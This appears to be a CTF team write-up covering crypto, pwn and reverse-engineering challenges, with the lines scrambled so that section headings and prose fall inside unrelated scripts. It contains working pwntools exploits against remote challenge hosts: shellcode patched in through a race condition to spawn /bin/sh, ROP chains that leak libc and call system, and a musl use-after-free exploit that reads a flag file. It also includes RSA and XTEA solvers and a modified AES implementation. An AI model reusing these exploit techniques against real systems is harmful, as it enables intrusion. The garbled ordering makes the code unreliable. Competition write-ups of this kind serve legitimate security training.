E = i
return [R, p - R]
def Legendre(a, p):
'''
The Legendre Sybmol.
returns 1 if a is QR(p), or -1 if NR(p), or 0 if a divides p.
'''
if a % p == 0:
return 0
# Euler's Criterion
return 1 if pow(a, (p - 1) // 2, p) == 1 else -1
n =
2117843261062449598004293938015161415459371371668170430315799079149546065057868475
7346042039830158587943317212798132485344732747170239886154644974255867824642713748
9119393011062932179176706222634850657137978152066894510229267994694592953689057828
553095582686088957079730979614261684887411889405151543286817647
e = 4096
c =
7960543844055364868287148633795142716685959511835217693066704697905585857732368807
7196331968890720138280335861846478151906630528186617757141156284674894419533494114
0311645043379804007377469244456415418854362272807067665055157997507127914177329742
7759037954640552890794018051954991800531763827961828499701115
flags = [c]
for i in range(12):
tmp = []
for j in flags:
s = ModSquareRoot(j, n)
if s:
for s0 in s:
if(not(s0 in tmp)):
tmp.append(s0)
flags = tmp
for flag in flags:
print(long_to_bytes(flag))
ezl1near
按如下方式构造c即可每次求出secret的一项，可能存在多解，使用两次机会来验证。
from pwn import *
import re
import hashlib
HOST = "47.104.243.99"
POST = 31923
def proof_of_work():
rev = r.recvuntil("sha256")
rec = r.recvline().decode()
suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
tar = re.findall(r'== (.*?)\n', rec)[0]
def f(x):
hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest()
return hashresult == tar
prefix = util.iters.mbruteforce(f, string.digits + string.ascii_letters, 4,
'upto')
r.sendlineafter(b'Give me XXXX: ', prefix)
r = remote(HOST, POST)
proof_of_work()
r.recvline()
n = int(r.recvline())
e = int(r.recvline())
print(n,e)
r.recvline()
ress = []
for _ in range(2):
c0 = int(r.recvline())
print(c0)
for j in range(15):
c = c0*pow(2**480+2**(480+j*24)+1,e,n)%n
r.sendlineafter(':', str(c))
r.recvuntil('cipher:')
res = eval(r.recvline())
ress.append(res)
ss = [1]
q = 2**24
for i in range(1,16):
res = ress[0]
cand0 = set()
tar = res[:20][-i]
for j in range(1,i):
tar -= res[20:40][-j-1]*ss[i-j]
PWN
red_high_heels
条件竞争, 尽可能短的patch原来的指令为execve("/bin/sh\x00", 0, 0)
tar%=q
for cand in range(1,1<<24,2):
if cand*res[20:40][-1]%q == tar:
cand0.add(cand)
res = ress[1]
cand1 = set()
tar = res[:20][-i]
for j in range(1,i):
tar -= res[20:40][-j-1]*ss[i-j]
tar%=q
for cand in range(1,1<<24,2):
if cand*res[20:40][-1]%q == tar:
cand1.add(cand)
print(cand0, cand1)
ss.append(list(cand0&cand1)[0])
print(ss)
ans = ' '.join(map(str,ss))
r.sendline(ans)
r.interactive()
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("47.104.169.32", 12233)
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
def Num(n, l=8):
sh.sendline(str(n))
def Cmd(n, wait=True):
if(wait):
sh.recvuntil('>> ')
Num(n)
def Execve(name, wait=True):
Cmd(3, wait)
if(wait):
sh.recvuntil(': ')
sh.sendline(name)
def Ptrace(pid, pos, cont):
Cmd(4, False)
sh.sendline("%d %d %d"%(pid, pos, cont))
def PtraceL(pid, pos, cont):
for i in range(0, len(cont), 8):
Ptrace(pid, pos, u64(cont[i:i+8].ljust(8, '\x00')))
def GDB():
gdb.attach(sh, '''
telescope (0x00007ffff0000b20) 16
''')
#GDB()
n=1700
for i in range(n):
Execve('redflag', False)
Execve('👠', False)
#shellcode
'''
mov rax, 0x68732f6e69622f
'''
Ptrace(1600, 0x2, 0x68732f6e69622f)
'''
exp = asm('mov rdi, rsp')
exp+= asm('mov rax, 0x3b')[0:5]
exp+= asm()
'''
Ptrace(1600, 0xB, 0x3bc0c748e78948)
'''
exp = asm('xor rdx, rdx')
exp+= asm('xor rsi, rsi')
exp+= asm('syscall')
'''
dy_maze
没去符号，直接pwntools可以定位maze函数，糊一个就可以把key整出来了 最后溢出有个xor，简单糊一
下就行了
Ptrace(1600, 0xB+8+2, 0x50ff63148d23148)
for i in range(n+1):
sh.recvuntil('>> ')
#Cmd(5)
#sh.send('A'*0xFF)
sh.interactive()
from pwn import *
from os import popen
def getBinary():
popen("rm ./pwn/*")
s.recvuntil("You can run the solver with:")
cmd = s.recvuntil("===================",drop=True).strip()
cmd = 'zsh -c "'+cmd+'"'
ans = popen(cmd).readlines()[0]
s.sendlineafter("Solution?",ans)
# s.interactive()
s.recvuntil("==== Binary Download Start ====")
binary = s.recvuntil("==== Binary Download END ====",drop=True)
f = open("./pwn/chall","wb")
f.write(b64d(binary))
f.close()
popen('bunzip2 ./pwn/chall')
print popen('cd pwn && tar -zxvf chall.out').readline()
popen('rm ./pwn/chall.out')
popen('mv ./pwn/* ./pwn/chall')
def getAnswer(addr,idx):
func = binary_text[addr:]
func = func[:func.find('\xc9\xc3')]
pc = 0
while pc < len(func):
block = func[pc:pc+func[pc:].find('\xB8\x00\x00\x00\x00\xe8')+10]
pc += len(block)
call_addr = u32(block[-4:])+pc+addr
call_addr &= 0xffffffff
if(call_addr == wrong_addr):
continue
elif(call_addr == maze_addr[idx+1]):
if(block.find('\x83\x7D\xFC')):
ans = block[block.find('\x83\x7D\xFC'):]
ans = u8(ans[3])
else:
ans = block[block.find('\x81\x7D\xFC'):]
ans = u32(ans[3:7])
return ans
def getKey():
ok_addr = binary_elf.sym['ok_success']
func = binary_text[ok_addr:]
func = func[:func.find('\xc9\xc3')]
func = func[func.find('\xE9\xDB\x00\x00\x00'):]
body = disasm(func)
global key
for i in range(5):
body = body[body.find('xor edx'):]
keyx = int(body[12:body.find('\n')],16)&0xff
body = body[body.find('\n'):]
key.append(keyx)
def getGadget(gadget):
return next(elf.search(asm(gadget)))
def genPayload(payload,pad):
payload = bytearray(payload)
for i in range(len(payload)):
payload[i] ^= key[(pad+i)%5]
payload = str(payload)
return payload,len(payload) % 5
def pwn():
# context.terminal = ['ancyterm', '-s', 'host.docker.internal', '-p', '15111',
'-t', 'iterm2', '-e']
global elf
elf = ELF(elf_addr,checksec=False)
libc = ELF("./libc-2.27.so",checksec=False)
for i in ans:
s.sendline(str(i))
pop_rdi = getGadget('pop rdi;ret')
ret = pop_rdi+1
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
info('pop_rdi:'+hex(pop_rdi))
s.sendlineafter("Your name length: ","1000")
payload =
'A'*0x14+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.sym['ok_success']
)
payload,pad = genPayload(payload,0)
# gdb.attach(s,"b *0x42C889\nc")
s.sendafter("Input your name: ",payload)
libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-libc.sym['puts']
success(hex(libc.address))
s.sendlineafter("Your name length: ","1000")
sh = next(libc.search('/bin/sh\x00'))
Nescafe
1.1.24的musl 菜单题
有个UAF 比较白给
system = libc.sym['system']
payload =
'A'*0x14+p64(0)+p64(ret)+p64(pop_rdi)+p64(sh)+p64(system)+p64(elf.sym['ok_success'
])
payload,pad = genPayload(payload,0)
s.sendafter("Input your name: ",payload)
s.interactive()
s = remote("47.104.169.32","44212")
getBinary()
elf_addr = './pwn/chall'
context.arch = 'amd64'
binary_elf = ELF(elf_addr,checksec=False)
binary_text = open(elf_addr,"rb").read()
binary_elf.address = 0
maze_addr = [0]
wrong_addr = binary_elf.sym['wrong']
ans = []
key = []
for i in range(1,82):
maze_addr.append(binary_elf.sym['maze_%d'%i])
for i in range(1,81):
ans.append(str(getAnswer(maze_addr[i],i)))
getKey()
for i in key:
print hex(i)
pwn()
from pwn import *
def add(buf):
s.sendlineafter(">>","1")
s.sendafter("Please input the content",buf)
def free(idx):
s.sendlineafter(">>","2")
s.sendlineafter("idx:",str(idx))
def show(idx):
s.sendlineafter(">>","3")
s.sendlineafter("idx",str(idx))
def edit(idx,buf):
s.sendlineafter(">>","4")
s.sendlineafter("idx",str(idx))
s.sendafter("Content",buf)
# s = process("./pwn")
s = remote("47.104.169.32","11543")
add('A'*0x100)#0
add('D'*0x100)#1
free(0)
show(0)
s.recvline()
mal = u64(s.recv(6)+"\x00\x00")-384
libc = ELF("./libc.so",checksec=False)
libc.address = mal-libc.sym['mal']
success(hex(libc.address))
fake_chunk = p64(mal+400-0x18)
fake_chunk += p64(libc.sym['__stdin_FILE']+0x40)
edit(0,fake_chunk)
add('B'*0x100)#2
# gdb.attach(s,"b *$rebase(0xca5)\nc")
ret = libc.address+0x0000000000000cdc
pop_rdi = libc.address+0x0000000000014862
mov_rdx = libc.address+0x000000000004951a
pop_rsi = libc.address+0x000000000001c237
pop_rdx = libc.address+0x000000000001bea2
payload =
'A'*0x30+p64(libc.sym['__stdout_FILE']+0x50)+p64(ret)+p64(0)+p64(mov_rdx)
payload +=
p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE'])+p64(pop_rdx)+p64(0
x500)+p64(libc.sym['read'])
add('C'*0xb0+payload)#3
payload = 'A'*56
payload +=
p64(pop_rdi)+p64(libc.sym['__stdout_FILE']+0x100)+p64(pop_rsi)+p64(0)+p64(libc.sym
['open'])
payload +=
p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx)
+p64(0x100)+p64(libc.sym['read'])
payload +=
p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx)
+p64(0x100)+p64(libc.sym['write'])
payload = payload.ljust(0x100,'\x00')+"./flag\x00"
# raw_input(">")
s.send(payload)
s.interactive()
Reverse
Re1
VM逆向
from z3 import *
#WMCTF{}
#flag3 = 106 - 2
#flag4 = 55 - 3
#flag1 = 72
#flag2 = 98-1
xor_table = []
for i in xrange(0x100):
v3 = i
for j in xrange(8):
if ( (v3 & 1) != 0 ):
v3 = (v3 >> 1) ^ 0x8320EDB8
else:
v3 >>= 1
xor_table.append(v3&0xFFFFFFFF)
# de1 = BitVec('de1',32)
# de2 = BitVec('de2',32)
# de3 = BitVec('de3',32)
# de4 = BitVec('de4',32)
# so = Solver()
# so.add(de2 + de1 == 0x11AB7A7A)
# so.add(de2 - de3 == 0x1CD4F222)
# so.add(de4 + de3 == 0xC940F021)
# so.add(de3 + de1 - de4 == 0x7C7D68D1)
# print(so.check())
# print(so.model())
def enc_xtea(c,k):
v5 = c[0]
v4 = c[1]
v3 = 0
for _ in xrange(32):
v5 += (k[v3 & 3] + v3) ^ (v4 + ((v4 >> 5) ^ ((16 * v4) & 0xFFFFFFFF )))
v5 &= 0xFFFFFFFF
v3 += 0x9981ABCD
v3 %= (0xFFFFFFFF+1)
v4 += (k[(v3 >> 11) & 3] + v3) ^ (v5 + ((v5 >> 5) ^ (16 * v5)))
v4 &= 0xFFFFFFFF
# for _ in xrange(32):
# v4 -= (k[(v3 >> 11) & 3] + v3) ^ (v5 + ((v5 >> 5) ^ (16 * v5)))
# v4 %= (0xFFFFFFFF+1)
# v3 -= 0x9981ABCD
# v3 %= (0xFFFFFFFF+1)
# v5 -= (k[v3 & 3] + v3) ^ (v4 + ((v4 >> 5) ^ ((16 * v4) & 0xFFFFFFFF )))
# v5 %= (0xFFFFFFFF+1)
res = [v5,v4]
# *a3 = v5;
# a3[1] = v4;
return res
def dec_xtea(c,k):
v5 = c[0]
v4 = c[1]
v3 = 0x9981ABCD * 32
v3 &= 0xFFFFFFFF
# for _ in xrange(32):
# v5 += (k[v3 & 3] + v3) ^ (v4 + ((v4 >> 5) ^ ((16 * v4) & 0xFFFFFFFF )))
# v5 &= 0xFFFFFFFF
# v3 -= 0x9981ABCD
# v4 += (k[(v3 >> 11) & 3] + v3) ^ (v5 + ((v5 >> 5) ^ (16 * v5)))
# v4 &= 0xFFFFFFFF
for _ in xrange(32):
v4 -= (k[(v3 >> 11) & 3] + v3) ^ (v5 + ((v5 >> 5) ^ (16 * v5)))
v4 %= (0xFFFFFFFF+1)
v3 -= 0x9981ABCD
v3 %= (0xFFFFFFFF+1)
v5 -= (k[v3 & 3] + v3) ^ (v4 + ((v4 >> 5) ^ ((16 * v4) & 0xFFFFFFFF )))
v5 %= (0xFFFFFFFF+1)
res = [v5,v4]
# *a3 = v5;
# a3[1] = v4;
return res
def lfsr(a1,a2,a3):
v4 = a1
for _ in xrange(a3):
v4 = (v4 >> 8) ^ xor_table[(a2[_] ^ v4)&0xff]
v4 &= 0xFFFFFFFF
return a1 ^ v4
def gen_table(guess,length,addon = 0):
res = []
for i in xrange(length):
t = guess + i + addon
res.append(t & 0xff)
return res
def brute(start,end,length):
for i in xrange(0x20,0x80):
# print('.')
t = gen_table(i,length)
for j in xrange(length):
tmp_t = t[:]
for change in xrange(0x100):
tmp_t[j] = change
if lfsr(start,tmp_t,length) == end:
print('start {} to end {}'.format(start,end),i,j,change)
import struct
def brute2():
de3 = 1357369498
de1 = 2750330814
de4 = 2019106695
de2 = 1841087164
for i in xrange(0x10000):
de3 &= 0xFFFF00FF
de3 |= i & 0xFF00
de4 = de4 & 0xFFFFFF00 | (i & 0xff)
c1 = [0x556E2853,0x4393DF16]
key1 = [de1,de3,de2,de4]
res1 = dec_xtea(c1,key1)
c2 = [0x1989FB2B,0x83F5A243]
key2 = [de4,de2,de1,de3]
res2 = dec_xtea(c2,key2)
t = struct.pack("I",res1[0]) +struct.pack("I",res2[0]) +
struct.pack("I",res2[1])+ struct.pack("I",res1[1])
find_flag = 0
for ts in t:
if ord(ts) < 0x20 or ord(ts) > 0x80:
find_flag = 1
break
if find_flag == 0:
print(hex(i))
print(t)
brute2()
# 0xb7ad
de3 = 1357369498
de1 = 2750330814
de4 = 2019106695
de2 = 1841087164
# t = gen_table(106,0xf)
# t[4] = 0xdc
# print (lfsr(de2,t,0xf) == de3)
# for i in xor_table:
# print(hex(i))
# brute(de2,de3,15)
# print('.')
# brute(de3,de4,28)
# print('.')
# brute(0xFFFFFFFE,de1,0x100)
后面那个拼的@有一个负数溢出，可以改到一个奇怪的标志位用然后用#改size，最后用-改到那个dead
Re2
字符串解密在init_array
AES+RC4 , AES的shiftRow有修改 ,RC4多异或了0x50
AES_key:'54 72 61 63 65 72 50 69 64 3a 09 30 0a 66 6c 67'
AES_iv:'00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F'
RC4_key:Hello from C++
# print('.')
# brute(de1,de2,0x100)
# Hah4
de3 &= 0xFFFF00FF
de3 |= 0xdead & 0xFF00
de4 = de4 & 0xFFFFFF00 | 0xad
key1 = [de1,de3,de2,de4]
c1 = [0x556E2853,0x4393DF16]
res = dec_xtea(c1,key1)
for i in res:
print(hex(i))
# c1 = [0x4d7bd39b,0xab6cbe58]
# res = dec_xtea(c1,key1)
# for i in res:
# print(hex(i))
key2 = [de4,de2,de1,de3]
c2 = [0x1989FB2B,0x83F5A243]
res = dec_xtea(c2,key2)
for i in res:
print(hex(i))
# c1 = [0x1989FB2B,0x1989FB2A]
# key2 = [de4,de2,de1,de3]
# enc1 = enc_xtea(c1,key2)
# res = dec_xtea(enc1,key2)
# for i in res:
# print(hex(i))
#include <stdio.h>
#include <memory.h>
#include "rijndael.h"
//
// Public Definitions
//
/* moved to rijndael.h */
//
// Internal Definitions
//
/*
* Encryption Rounds
*/
int g_aes_key_bits[] = {
/* AES_CYPHER_128 */ 128,
/* AES_CYPHER_192 */ 192,
/* AES_CYPHER_256 */ 256,
};
int g_aes_rounds[] = {
/* AES_CYPHER_128 */ 10,
/* AES_CYPHER_192 */ 12,
/* AES_CYPHER_256 */ 14,
};
int g_aes_nk[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 6,
/* AES_CYPHER_256 */ 8,
};
int g_aes_nb[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 4,
/* AES_CYPHER_256 */ 4,
};
/*
* aes Rcon:
*
* WARNING: Rcon is designed starting from 1 to 15, not 0 to 14.
* FIPS-197 Page 9: "note that i starts at 1, not 0"
*
* i | 0 1 2 3 4 5 6 7 8 9 10 11
12 13 14
* -----+-------------------------------------------------------------------------
-----------------
* | [01] [02] [04] [08] [10] [20] [40] [80] [1b] [36] [6c] [d8]
[ab] [4d] [9a]
* RCON | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
[00] [00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
[00] [00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
[00] [00] [00]
*/
static const uint32_t g_aes_rcon[] = {
0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000,
0x40000000, 0x80000000,
0x1b000000, 0x36000000, 0x6c000000, 0xd8000000, 0xab000000, 0xed000000,
0x9a000000
};
/* aes sbox and invert-sbox */
static const uint8_t g_aes_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B C
D E F */
0x7C, 0xF2, 0x63, 0x7B, 0x77, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,
0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0x0C, 0xCD,
0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
0x08, 0xAE, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,
0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
};
static const uint8_t g_inv_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B C
D E F */
0x52,0x9,0x6a,0xd5,0x30,0x36,0xa5,0x38,0xbe,0x40,0xa3,0x9e,0x80,0xf3,0xd7,0xfb,0x7
c,0xe3,0x39,0x82,0x9b,0x2f,0xff,0x87,0x34,0x8e,0x43,0x44,0xc4,0xde,0xe9,0xcb,0x54,
0x7b,0x94,0x32,0xa6,0xc2,0x23,0x3d,0xee,0x4c,0x95,0xb,0x42,0xfa,0xc3,0x4e,0x8,0x2e
,0xa1,0x66,0x28,0xd9,0x24,0xb2,0x76,0x5b,0xa2,0x49,0x6d,0x8b,0xd1,0x25,0x72,0xf8,0
xf6,0x64,0x86,0x68,0x98,0x16,0xd4,0xa4,0x5c,0xcc,0x5d,0x65,0xb6,0x92,0x6c,0x70,0x4
8,0x50,0xfd,0xed,0xb9,0xda,0x5e,0x15,0x46,0x57,0xa7,0x8d,0x9d,0x84,0x90,0xd8,0xab,
0x2,0x8c,0xbc,0xd3,0xa,0xf7,0xe4,0x58,0x5,0xb8,0xb3,0x45,0x6,0xd0,0x2c,0x1e,0x8f,0
xca,0x3f,0xf,0x4,0xc1,0xaf,0xbd,0x3,0x0,0x13,0x8a,0x6b,0x3a,0x91,0x11,0x41,0x4f,0x
67,0xdc,0xea,0x97,0xf2,0xcf,0xce,0xf0,0xb4,0xe6,0x73,0x96,0xac,0x74,0x22,0xe7,0xad
,0x35,0x85,0xe2,0xf9,0x37,0xe8,0x1c,0x75,0xdf,0x6e,0x47,0xf1,0x1a,0x71,0x1d,0x29,0
xc5,0x89,0x6f,0xb7,0x62,0xe,0xaa,0x18,0xbf,0x1b,0xfc,0x56,0x3e,0x4b,0xc6,0xd2,0x79
,0x20,0x9a,0xdb,0xc0,0xfe,0x78,0xcd,0x5a,0xf4,0x1f,0xdd,0xa8,0x33,0x88,0x7,0xc7,0x
31,0xb1,0x12,0x10,0x59,0x27,0x81,0xec,0x5f,0x60,0x51,0x7f,0xa9,0x19,0xb5,0x4a,0xd,
0x2d,0xe5,0x7a,0x9f,0x93,0xc9,0x9c,0xef,0xa0,0xe0,0x3b,0x4d,0xae,0x2a,0xf5,0xb0,0x
c8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61,0x17,0x2b,0x1,0x7e,0xba,0x77,0xd6,0x26,0xe1,
0x69,0x14,0x63,0x55,0x21,0xc,0x7d
};
uint8_t aes_sub_sbox(uint8_t val)
{
return g_aes_sbox[val];
}
uint32_t aes_sub_dword(uint32_t val)
{
uint32_t tmp = 0;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 0) & 0xFF))) << 0;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 8) & 0xFF))) << 8;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 16) & 0xFF))) << 16;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 24) & 0xFF))) << 24;
return tmp;
}
uint32_t aes_rot_dword(uint32_t val)
{
uint32_t tmp = val;
return (val >> 8) | ((tmp & 0xFF) << 24);
}
uint32_t aes_swap_dword(uint32_t val)
{
return (((val & 0x000000FF) << 24) |
((val & 0x0000FF00) << 8) |
((val & 0x00FF0000) >> 8) |
((val & 0xFF000000) >> 24) );
}
/*
* nr: number of rounds
* nb: number of columns comprising the state, nb = 4 dwords (16 bytes)
* nk: number of 32-bit words comprising cipher key, nk = 4, 6, 8
(KeyLength/(4*8))
*/
void aes_key_expansion(AES_CYPHER_T mode, uint8_t *key, uint8_t *round)
{
uint32_t *w = (uint32_t *)round;
uint32_t t;
int i = 0;
printf("Key Expansion:\n");
do {
w[i] = *((uint32_t *)&key[i * 4 + 0]);
} while (++i < g_aes_nk[mode]);
do {
printf(" %2.2d: ", i);
if ((i % g_aes_nk[mode]) == 0) {
t = aes_rot_dword(w[i - 1]);
t = aes_sub_dword(t);
t = t ^ aes_swap_dword(g_aes_rcon[i/g_aes_nk[mode] - 1]);
} else if (g_aes_nk[mode] > 6 && (i % g_aes_nk[mode]) == 4) {
t = aes_sub_dword(w[i - 1]);
} else {
t = w[i - 1];
}
w[i] = w[i - g_aes_nk[mode]] ^ t;
} while (++i < 44);
/* key can be discarded (or zeroed) from memory */
}
void aes_add_round_key(AES_CYPHER_T mode, uint8_t *state,
uint8_t *round, int nr)
{
uint32_t *w = (uint32_t *)round;
uint32_t *s = (uint32_t *)state;
int i;
for (i = 0; i < g_aes_nb[mode]; i++) {
s[i] ^= w[nr * g_aes_nb[mode] + i];
}
}
void aes_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = aes_sub_sbox(state[i * 4 + j]);
}
}
}
void aes_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;
uint8_t tmp[16]={0};
tmp[0] = s[0];
tmp[4] = s[4];
tmp[8] = s[8];
tmp[12] = s[12];
tmp[1] = s[5];
tmp[5] = s[9];
tmp[9] = s[13];
tmp[13] = s[1];
tmp[2] = s[10];
tmp[10] = s[2];
tmp[6] = s[14];
tmp[14] = s[6];
tmp[3] = s[15];
tmp[15] = s[11];
tmp[11] = s[7];
tmp[7] = s[3];
for (int i=0;i<16;i++)
s[i] = tmp[i];
// for (i = 1; i < g_aes_nb[mode]; i++) {
// for (j = 0; j < i; j++) {
// uint8_t tmp = s[i];
// for (r = 0; r < g_aes_nb[mode]; r++) {
// s[i + r * 4] = s[i + (r + 1) * 4];
// }
// s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
// }
// }
}
uint8_t aes_xtime(uint8_t x)
{
return ((x << 1) ^ (((x >> 7) & 1) * 0x1b));
}
uint8_t aes_xtimes(uint8_t x, int ts)
{
while (ts-- > 0) {
x = aes_xtime(x);
}
return x;
}
uint8_t aes_mul(uint8_t x, uint8_t y)
{
/*
* encrypt: y has only 2 bits: can be 1, 2 or 3
* decrypt: y could be any value of 9, b, d, or e
*/
return ((((y >> 0) & 1) * aes_xtimes(x, 0)) ^
(((y >> 1) & 1) * aes_xtimes(x, 1)) ^
(((y >> 2) & 1) * aes_xtimes(x, 2)) ^
(((y >> 3) & 1) * aes_xtimes(x, 3)) ^
(((y >> 4) & 1) * aes_xtimes(x, 4)) ^
(((y >> 5) & 1) * aes_xtimes(x, 5)) ^
(((y >> 6) & 1) * aes_xtimes(x, 6)) ^
(((y >> 7) & 1) * aes_xtimes(x, 7)) );
}
void aes_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 2, 3, 1, 1, 1, 2, 3, 1, 1, 1, 2, 3, 3, 1, 1, 2};
uint8_t s[4];
int i, j, r;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}
void aes_dump(char *msg, uint8_t *data, int len)
{
int i;
printf("%8.8s: ", msg);
for (i = 0; i < len; i++) {
printf(" %2.2x", data[i]);
}
printf("\n");
}
int aes_encrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
printf("Encrypting block at %u ...\n", i);
/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {
printf(" Round %d:\n", nr);
aes_dump("input", s, 4 * g_aes_nb[mode]);
if (nr > 0) {
/* do SubBytes */
aes_sub_bytes(mode, s);
aes_dump(" sub", s, 4 * g_aes_nb[mode]);
/* do ShiftRows */
aes_shift_rows(mode, s);
//aes_dump(" shift", s, 4 * g_aes_nb[mode]);
//if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
aes_dump(" mix", s, 4 * g_aes_nb[mode]);
//}
}
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);
aes_dump(" state", s, 4 * g_aes_nb[mode]);
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = s[j];
printf("Output:\n");
aes_dump("cypher", &data[i], 4 * g_aes_nb[mode]);
}
return 0;
}
int aes_encrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
return aes_encrypt(mode, data, len, key);
}
int aes_encrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key,
uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */
uint8_t v[4 * 4] = {0}; /* iv */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
memcpy(v, iv, sizeof(v));
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j] ^ v[j];
/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {
aes_dump("input", s, 4 * g_aes_nb[mode]);
if (nr > 0) {
/* do SubBytes */
aes_sub_bytes(mode, s);
/* do ShiftRows */
aes_shift_rows(mode, s);
